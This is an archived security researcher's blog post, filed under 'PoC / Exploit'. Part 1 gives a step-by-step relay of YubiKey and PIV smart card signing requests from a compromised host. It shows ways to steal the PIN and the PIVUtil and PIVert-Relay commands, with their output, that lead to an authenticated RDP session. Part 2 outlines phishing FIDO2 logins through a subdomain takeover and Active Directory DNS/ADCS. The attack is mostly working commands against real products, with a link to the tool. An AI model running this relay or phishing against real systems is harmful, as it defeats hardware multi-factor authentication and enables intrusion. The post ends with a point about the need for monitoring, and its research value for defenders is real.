Relaying YubiKeys 
🔑

Relaying YubiKeys 

📅 [ Archival Date ]
Oct 17, 2022 6:41 PM
🏷️ [ Tags ]
YubiKeyFIDO2
✍️ [ Author ]

\\Cube0x0\

💣 [ PoC / Exploit ]

Part 1

We are not relaying actual physical YubiKeys, we are relaying the APDU packets that the server application wants to get signed by a private key to verify the identity of the authentication so this attack works on all PIV Smart Cards but a YubiKey was used during the testing so therefore the title.

Isolated networks or sensitive services often have an additional authentication factor and some organizations are choosing to use YubiKeys or other PIV-supported devices to be their second factor. The private key on a YubiKey is protected and non-exportable so to give ourselves access to those isolated networks/services we can use an already-inserted YubiKey on a remote host and make that to authenticate our session in a relay attack.

The picture below demonstrates the attack flow.

image

Before we can execute our relaying attack the need to know the PIN, public certificate, and slot. A PIN can be found anywhere, I’ve seen it in LastPass databases, and chat/email conversations, and it’s also possible to steal it from the workstation by hooking the SCardTransmit function during a new connection(poc) or parse the mstsc.exe process on an existing connection(poc) to get the PIN.

PIVUtil can be used to list connected smart card devices and enumerate their public certificate and slot

> Invoke-Command $s {PIVUtil.exe list}
[*] Yubico Yubikey 4 OTP+U2F+CCID 0

> Invoke-Command $s {PIVUtil.exe 'Yubico Yubikey 4 OTP+U2F+CCID 0'}
[*] Using smartcard: Yubico Yubikey 4 OTP+U2F+CCID 0
[*] Public Auth (cert) Slot 9A:
30820609308204F1A0030201020213140000000A5A24093BC2E3DB0900000000000A300D06092A864886F70D01010B0500304531153013060A0<SNIP>47FEC00F4DE64C6
[*] Public Card Auth (cert) Slot 9E:
30820609308204F1A0030201020213140000000A5A24093BC2E3DB0900000000000A300D06092A864886F70D01010B0500304531153013060A0<SNIP>47FEC00F4DE64C6

Now from our attacker machine, we start PIVert-Relay.exe "<public cert>" "<slot>"  (the arguments may need to be quoted or it can read the certificate wrong)

> PIVert-Relay.exe install
[=] Writing BixVReader.ini config to C:\Windows
[=] Installing driver signing certificate into Root and Trusted Publishers local machine store
[=] Installing driver MSI
[+] Installer completed

> PIVert-Relay.exe '30820609308204F1A0030201020213140000000A5A24093BC2E3DB0900000000000A300D06092A864886F70D01010B0500304531153013060A0<SNIP>47FEC00F4DE64C6' '9A'
[=] Connected to Smartcard Data Pipe
[=] Connected to Smartcard Event Pipe
<snip>

start mstsc.exe and specify we want to authenticate using Smart Card Credentials, click connect and PIVert-Relay.exe  will print the data that it wants to be signed. So copy the value of that to the remote host, execute PIVUtil.exe <smart card name> <PIN> <PIVert-Relay output> and paste the output to PIVert-Relay console

<PIVert-Relay.exe console>
[*] Data to sign: 1087079AF07C8201068200818201000001FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF003021300906052B0E03 0087079A1A021A05000414588C445F31C3110315B11D8A42E17886D4CB0CE500

[*] Enter signed blob

--------------------------------------------------------------------------------------
<on victim>
> Invoke-Command $s {\PIVUtil.exe 'Yubico Yubikey 4 OTP+U2F+CCID 0' 12341234 1087079AF07C8201068200818201000001FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF003021300906052B0E03 0087079A1A021A05000414588C445F31C3110315B11D8A42E17886D4CB0CE500 }

[*]Using smartcard: Yubico Yubikey 4 OTP+U2F+CCID 0
[*]Using pin: 12341234
7C8201048282010091425F59583595A65F4384E46F4DF1826507BD5BC87F29CDC037DCDB2483B405F003223262C3162B6E09055F81CBE5123D87661DC748F36A322504785AE069D5B5247EC16CABC83F84540BFE2077C4CEAE5BC9BAE86DAD46DB557B4075FA59865B9A328A7FEABB5CC359158141BD49C79B3EADFA1B535F89F525484FD8A51398126EE6BF88900FC9CF08E11D28407DFA3E033D32324A8441496083373C9FFA8A31BC635FDCD4865038650045EA5AB405BDECC7073D90E6BE7C6B223EACF73D0CE735BDB973B1CFF31DC09B27278D4FDABF670238B7853FF613CDB76AFE36D10F1972D41638B9E352C8A77590396E25BC7513A207D8B553A533F3071F5DC56B1B

RDP will request multiple tickets to sign but after redoing the steps above we have a session established!

image

This attack would perhaps be smoother if PIVUtil.exe and PIVert-Relay communicated over a named pipe to automate the data signing process or having PIVUtil.ex as a BOF but this is meant to be a over-weekend PoC so idc :D

Conclusion

Having a non-exportable private key seems pretty useless when you just can relay any APDU packet and have it signed by the private key, the only thing it protects against is persistence.

Tools available at https://github.com/cube0x0/PIVert-Relay

Links

  • https://github.com/CCob/PIVert
  • https://docs.yubico.com/yesdk/users-manual/application-piv/apdu/auth-sign.html
  • https://ethicalchaos.dev/2020/10/04/attacking-smart-card-based-active-directory-networks/

Part 2

After my first part on relaying YubiKeys, I got a suggestion to see if it was possible to also relay FIDO2-based logins, after confirming that FIDO2 are not only used for web-based authentication I went and bought a newer YubiKey and got into testing. A FIDO2 YubiKey can be used as a second factor or used for passwordless authentication and is supposed to be immune to phishing, the screenshot below from yubico.com

image

Knowing anything claiming to be “not subjected to phishing” is a scam I started to look at the authentication flow. The server responses with a challenge that we sign and send back, metadata and tamper protection is included in both packets.

image

The problem to solve was navitor.credentials.get used by Chrome and Firefox to sign FIDO2 authentications only works in HTTPS(works with self-signed), in the server response there is a "rpId":"demo.yubico.com" value that must match the sign-in URL or at least some parts of it, and there is a timeout so the phishing server needs to ask for a new challenge when the timeout is reached.

demo.yubico.com allow subdomains to authenticate against the domain due to not verifying the origins value in our response so if we could compromise or hijack a subdomain, for example, verification.demo.yubico.com then we could use that to relay the FIDO2 packets to demo.yubico.com, making it vulnerable to phishing. Just because subdomains can be used for demo.yubico.com doesn’t necessary means that it’s the same for xyz.

Demo below demonstrates a subdomain takeover that’s being used to phish passwordless FIDO2 logins for  demo.yubico.com. The attacker is on the left panel and the victim is on the right panel

image

FIDO2 is not only used to authenticate against useless social media sites such as Facebook or blockchain wallets full of un-liquid shitcoins but It’s also used in enterprise environments that host their own Certificate Authority and DNS server. An Active Directory environment has the 2 things needed for FIDO2 phishing, a DNS Server to add a record for the phishing domain and an ADCS(trusted as a Root CA) to enroll web server SSL certs. If your enterprise uses FIDO2 YubiKey to authenticate to internal network resources and an attacker gets a foothold on a workstation and wants to move latterly he could have the challenge signed less suspiciously by sending crafted APDU packets to the connected YubiKey device and use the built-in prompt asking for touch verification.

(In real life this would be injected as a DLL and have the I/O via named pipes and also have an extra prompt to encourage the user to insert the YubiKey instead of waiting for it to be inserted(or asking for touch verification after a process such as Firefox or Chrome as been started), to simplify the POC it was executed as a .exe and with a single prompt)

image

After the YubiKey has been touched we have our signed packet that we can send back to the server to establish an authenticated session.

image

Using hardware keys to authenticate against critical business systems, cloud or whatever estate will have their workstations targeted by attackers, and if an attacker accomplishes establishing foothold it doesn’t matter if you use a smartcard/hardware key as they will be used by the attacker. Any somewhat safe internal authentication must be combined with monitoring to detect suspicious behavior, without monitoring you are trusting the authentication key to be 100% protected which is never the case.